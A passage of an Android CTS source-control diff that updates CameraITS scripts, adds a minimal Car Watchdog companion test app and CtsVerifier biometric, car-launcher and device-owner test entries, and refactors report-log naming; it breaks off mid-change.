Merge "MediaMetadataRetrieverTest: Fix path to hasCodecForResourceAndDomain()"
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index afa0128..0bd1093 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -176,6 +176,8 @@
# For some tablets the values are in constant forms such as ROTATION_90
if 'ROTATION_90' in landscape_val:
landscape_val = '1'
+ elif 'ROTATION_0' in landscape_val:
+ landscape_val = '0'
logging.debug('Changing the orientation to landscape mode.')
self.tablet.adb.shell(['settings', 'put', 'system', 'user_rotation',
landscape_val])
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 4d5a36f..b2b953c 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -115,7 +115,8 @@
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
camera_properties_utils.skip_unless(
- camera_properties_utils.sensor_fusion_capable(props))
+ camera_properties_utils.sensor_fusion_capable(props) and
+ cam.get_sensors().get('gyro'))
# Start camera rotation.
p = multiprocessing.Process(
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
old mode 100644
new mode 100755
index 25bcece..5109d0a
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -138,7 +138,7 @@
],
}
-_DST_SCENE_DIR = '/mnt/sdcard/Download/'
+_DST_SCENE_DIR = '/sdcard/Download/'
MOBLY_TEST_SUMMARY_TXT_FILE = 'test_mobly_summary.txt'
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
similarity index 69%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
rename to apps/CarWatchdogCompanionApp/Android.bp
index ec76abd..a87902a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,25 +12,19 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
android_test_helper_app {
- name: "CVE-2021-0481",
- defaults: ["cts_support_defaults"],
+ name: "CtsCarWatchdogCompanionApp",
+ defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
+ sdk_version: "current",
test_suites: [
"cts",
- "vts10",
- "sts",
+ "general-tests",
],
- static_libs: [
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- "androidx.appcompat_appcompat",
- ],
- sdk_version: "current",
}
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.car.watchdog_companionapp">
+
+ <application android:label="CtsCarWatchdogCompanionApp">
+ <activity android:name=".CarWatchdogCompanionActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="distractionOptimized" android:value="true"/>
+ </activity>
+ </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:textSize="20sp"
+ android:gravity="center"
+ android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="car_watchdog_companion_activity_text">
+ Welcome to the CTS Verifier Car Watchdog Companion App!
+ </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.car_watchdog_companion_activity);
+ }
+}
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 628f234..9dd3a3b 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -190,6 +190,7 @@
genrule {
name: "android-cts-verifier",
srcs: [
+ ":android-cts-verifier-notice",
":apps_to_include",
":CtsVerifier",
":camera-its",
@@ -199,7 +200,7 @@
"merge_zips",
],
out: ["android-cts-verifier.zip"],
- cmd: "echo $(locations :apps_to_include) $(location :CtsVerifier) > $(genDir)/list &&" +
+ cmd: "echo $(locations :apps_to_include) $(location :CtsVerifier) $(location :android-cts-verifier-notice) > $(genDir)/list &&" +
" $(location soong_zip) -o $(genDir)/cts-verifier.zip -j -P android-cts-verifier -l $(genDir)/list &&" +
" $(location merge_zips) $(out) $(genDir)/cts-verifier.zip $(location :camera-its)",
dists: [
@@ -209,6 +210,13 @@
],
}
+gen_notice {
+ name: "android-cts-verifier-notice",
+ for: ["android-cts-verifier"],
+ stem: "NOTICE",
+ suffix: ".txt",
+}
+
filegroup {
name: "android-cts-verifier-for-make",
srcs: [":android-cts-verifier"],
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 5dbf65c..218a805 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1685,6 +1685,72 @@
</activity>
<activity
+ android:name=".biometrics.UserAuthenticationCredentialAeadCipherTest"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:exported="true"
+ android:label="@string/biometric_test_set_user_authentication_credential_aead_cipher_label" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+ <meta-data android:name="test_parent"
+ android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+ <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+ </activity>
+
+ <activity
+ android:name=".biometrics.UserAuthenticationBiometricAeadCipherTest"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:exported="true"
+ android:label="@string/biometric_test_set_user_authentication_biometric_aead_cipher_label" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+ <meta-data android:name="test_parent"
+ android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+ <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+ </activity>
+
+ <activity
+ android:name=".biometrics.UserAuthenticationBiometricOrCredentialAeadCipherTest"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:exported="true"
+ android:label="@string/biometric_test_set_user_authentication_biometric_credential_aead_cipher_label" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+ <meta-data android:name="test_parent"
+ android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+ <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+ </activity>
+
+ <activity
android:name=".biometrics.UserAuthenticationCredentialSignatureTest"
android:configChanges="keyboardHidden|orientation|screenSize"
android:exported="true"
@@ -1825,6 +1891,8 @@
android:value="android.software.secure_lock_screen" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="9.11.3/C-0-2" />
</activity>
<activity android:name=".security.IdentityCredentialAuthenticationMultiDocument"
@@ -1842,6 +1910,8 @@
android:value="android.software.secure_lock_screen" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="9.11.3/C-0-2" />
</activity>
<activity android:name=".security.FingerprintBoundKeysTest"
@@ -1859,6 +1929,8 @@
android:value="android.hardware.fingerprint:android.software.secure_lock_screen" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="9.11.1/C-4-1" />
</activity>
<activity android:name=".security.ProtectedConfirmationTest"
@@ -1872,6 +1944,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_security" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="9.10/C-3-1|9.10/C-3-2|9.10/C-3-3" />
</activity>
<activity android:name=".security.ScreenLockBoundKeysTest"
@@ -1889,6 +1963,8 @@
android:value="android.software.device_admin:android.software.secure_lock_screen" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="9.11/C-1-3" />
</activity>
<activity android:name=".security.UnlockedDeviceRequiredTest"
@@ -2038,6 +2114,9 @@
<meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="7.4.5.2" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
</activity>
<activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -2054,6 +2133,8 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
</activity>
<activity android:name=".nfc.NfcTestActivity"
@@ -5307,6 +5388,20 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".car.CarLauncherTestActivity"
+ android:exported="true"
+ android:label="@string/car_launcher_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ </activity>
+
<!-- 6DoF sensor test -->
<activity
android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/res/layout/ble_advertising_set.xml b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
index 06225d9..9955848 100644
--- a/apps/CtsVerifier/res/layout/ble_advertising_set.xml
+++ b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
@@ -14,7 +14,7 @@
~ See the License for the specific language governing permissions and
~ limitations under the License.
-->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content">
@@ -26,12 +26,16 @@
<Button android:id="@+id/ble_advertising_set_start_test"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:layout_below="@id/ble_advertising_set_test_instruction"
android:text="@string/ble_advertising_set_start_test"/>
<ListView android:id="@+id/ble_advertising_set_tests"
android:layout_width="match_parent"
android:layout_height="wrap_content"
+ android:layout_below="@id/ble_advertising_set_start_test"
+ android:layout_above="@id/pass_fail_buttons"
android:padding="10dip"/>
<include android:layout_width="match_parent"
android:layout_height="wrap_content"
+ android:layout_alignParentBottom="true"
layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ android:gravity="center_horizontal"
+ style="@style/RootLayoutPadding">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="vertical">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:gravity="center_horizontal"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/car_launcher_test_description"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:text="@string/car_launcher_test_desc"
+ style="@style/InstructionsSmallFont"/>
+
+ <Button
+ android:id="@+id/car_launcher_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/car_launcher_test_button_label"
+ android:layout_margin="24dp"/>
+ </LinearLayout>
+ </ScrollView>
+
+ <include
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="0"
+ layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
index ffa8d46..90a2c58 100644
--- a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
+++ b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
@@ -68,6 +68,56 @@
</LinearLayout>
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/sec_protected_confirmation_tee_negative_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:orientation="horizontal"
+ android:layout_centerInParent="true"
+ android:layout_below="@id/sec_protected_confirmation_strongbox_layout"
+ android:gravity="center"
+ >
+
+ <Button android:id="@+id/sec_start_tee_negative_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sec_protected_confirmation_tee_negative_test"
+ />
+
+ <ImageView android:id="@+id/sec_protected_confirmation_tee_negative_test_success"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/fs_good"
+ />
+
+ </LinearLayout>
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/sec_protected_confirmation_strongbox_negative_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:orientation="horizontal"
+ android:layout_centerHorizontal="true"
+ android:layout_below="@id/sec_protected_confirmation_tee_negative_layout"
+ android:gravity="center"
+ >
+
+ <Button android:id="@+id/sec_start_test_strongbox_negative_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sec_protected_confirmation_strongbox_negative_test"
+ />
+
+ <ImageView android:id="@+id/sec_protected_confirmation_strongbox_negative_test_success"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/fs_good"
+ />
+
+ </LinearLayout>
+
<include android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 8a6332b..587f6a2 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
framework correctly tries to open the CAR_DOCK app again.</string>
<string name="car_mode_enable">Enable Car Mode</string>
<string name="car_dock_activity_text">Press the Home button</string>
+ <string name="car_launcher_test">Car Launcher Test</string>
+ <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+ disabled by car service due to system resource overuse.\n\n
+ <b>
+ Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+ (aka CtsCarWatchdogCompanionApp) is installed by going to Settings > Apps. If not,
+ please install the app before proceeding.\n\n
+ </b>
+ 1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+ it is not listed, pass the test.\n
+ 2. Run the
+ \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+ shell command to disable the app because of system resource overuse.\n
+ 3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+ is not listed, fail the test.\n
+ 4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+ Pass the test only if the companion app opened successfully.</string>
+ <string name="car_launcher_test_button_label">Open Launcher</string>
<string name="gear_selection_test">Gear Selection Test</string>
<string name="gear_selection_test_desc">This test ensures that the
GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -328,6 +346,9 @@
<string name="biometric_test_set_user_authentication_credential_mac_label">4g: MAC, Credential</string>
<string name="biometric_test_set_user_authentication_biometric_mac_label">4h: MAC, Biometric</string>
<string name="biometric_test_set_user_authentication_biometric_or_credential_mac_label">4i: MAC, Biometric|Credential</string>
+ <string name="biometric_test_set_user_authentication_credential_aead_cipher_label">4j: Aead Cipher, Credential</string>
+ <string name="biometric_test_set_user_authentication_biometric_aead_cipher_label">4k: Aead Cipher, Biometric</string>
+ <string name="biometric_test_set_user_authentication_biometric_credential_aead_cipher_label">4l: Aead Cipher, Biometric or Credential</string>
<string name="biometric_test_set_user_authentication_credential_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_DEVICE_CREDENTIAL.
Buttons for completed tasks will become invisible. It\'s normal for buttons to be disabled for a few seconds during this test.</string>
<string name="biometric_test_set_user_authentication_biometric_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_BIOMETRIC_STRONG.
@@ -380,6 +401,8 @@
<string name="sec_protected_confirmation_message">This is a CtsVerifier test message!</string>
<string name="sec_protected_confirmation_tee_test">Start Tee Test</string>
<string name="sec_protected_confirmation_strongbox_test">Start Strongbox Test</string>
+ <string name="sec_protected_confirmation_tee_negative_test">Start Tee Negative Test</string>
+ <string name="sec_protected_confirmation_strongbox_negative_test">Start Strongbox Negative Test</string>
<!-- Strings for IdentityAuthPerPresenation -->
<string name="sec_identity_credential_authentication_test">Identity Credential Authentication</string>
@@ -760,7 +783,7 @@
<!-- BLE Advertising Set test strings -->
<string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
<string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
- <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+ <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
<string name="ble_advertising_set_start_test">Start Test</string>
<string name="ble_advertising_set_running_test">Running Test...</string>
<string name="ble_advertising_set_finished_test">Finished Test</string>
@@ -3657,6 +3680,11 @@
Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
Owner anymore.
</string>
+ <string name="device_owner_remove_device_owner_test_info_on_tv">
+ Please check in Settings > Privacy > Security & Restrictions > Device Administrators if CTSVerifier is
+ Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
+ Owner anymore.
+ </string>
<string name="remove_device_owner_button">Remove device owner</string>
<string name="device_owner_check_device_owner_test">Check device owner</string>
<string name="device_owner_check_profile_owner_test">Check profile owner</string>
@@ -3961,12 +3989,13 @@
<string name="device_owner_disallow_config_bt">Disallow configuring Bluetooth</string>
<string name="device_owner_disallow_config_bt_info">
Please press the Set restriction button to set the user restriction.
- Then press Go to open the Bluetooth page in Settings.
- Confirm that:\n
- \n
+ Then press Go, you should either see (a) the Bluetooth settings page or (b) trigger a support message directly.\n
+ In the case of (a), confirm that:\n
- You cannot view Bluetooth devices in range.\n
- Trying to edit, add or remove any already paired devices triggers a support message.\n
\n
+ In the case of (b) this step is successful.\n
+ \n
Use the Back button to return to this page.
</string>
<string name="device_owner_disallow_config_wifi">Disallow configuring WiFi</string>
@@ -4232,6 +4261,34 @@
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
+ <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+ <string name="check_new_user_disclaimer_info">
+ Please do the following: \n\n
+ 1. Check persistent notification for managed device \n\n
+ a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+ b). Tap the notification\n
+ c). It should show a dialog explaining the device is managed and asking the user to accept \n
+ d). Don\'t accept initially and tap outside the dialog \n
+ e). Open the notification UI again, verify that the managed device notification is still shown \n
+ \n
+ f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+ \"Foo, Inc\" is shown on the dialog \n
+ \n\n
+ 2. Check adding account is restricted\n\n
+ a) Click \"Go\" to launch the \"Profiles & accounts\" setting \n
+ b) navigate to \"Add account\" \n
+ \n
+ Expected: \n
+ - \"Add account\" is disabled \n
+ - Click the button will launch the new user disclaimer dialog\n
+ \n
+ c) Click accept button\n
+ \n
+ Expected: \n
+ - the screen will be dismissed \n
+ - \"Add account\" will be enabled\n
+ - Click the button will take user to the screen to add account \n
+ </string>
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
@@ -5014,6 +5071,8 @@
<!-- A list of fully-qualified test classes that should not be run. -->
<string-array name="disabled_tests">
<item>com.android.cts.verifier.telecom.CtsVerifierInCallUi</item>
+ <item>com.android.cts.verifier.car.CarDockActivity</item>
+ <item>com.android.cts.verifier.car.CarDockTestActivity</item>
</string-array>
<!-- Strings for screen pinning test -->
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4bd642d..0294ff7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -70,7 +70,10 @@
private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
// ReportLog file for CTS-Verifier. The "stream" name gets mapped to the test class name.
- private static final String REPORT_LOG_NAME = "CTS-Verifier-Log";
+ public static final String GENERAL_TESTS_REPORT_LOG_NAME = "CtsVerifierGeneralTestCases";
+ public static final String AUDIO_TESTS_REPORT_LOG_NAME = "CtsVerifierAudioTestCases";
+
+ private static final String SECTION_UNDEFINED = "undefined_section_name";
// Interface mostly for making documentation and refactoring easier...
public interface PassFailActivity {
@@ -112,10 +115,16 @@
void setTestResultAndFinish(boolean passed);
/**
- * @return A unique name (derived from the test class name) to serve as a section
- * header in the CtsVerifierReportLog file.
+ * @return The name of the file to store the (suite of) ReportLog information.
*/
- String getReportSectionName();
+ public String getReportFileName();
+
+ /**
+ * @return A unique name to serve as a section header in the CtsVerifierReportLog file.
+ * Tests need to conform to the underscore_delineated_name standard for use with
+ * the protobuff/json ReportLog parsing in Google3
+ */
+ public String getReportSectionName();
/**
* Test subclasses can override this to record their CtsVerifierReportLogs.
@@ -138,7 +147,7 @@
private final TestResultHistoryCollection mHistoryCollection;
public Activity() {
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -202,9 +211,15 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
@Override
@@ -240,7 +255,7 @@
private final TestResultHistoryCollection mHistoryCollection;
public ListActivity() {
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -286,9 +301,15 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
@Override
@@ -326,9 +347,9 @@
public TestListActivity() {
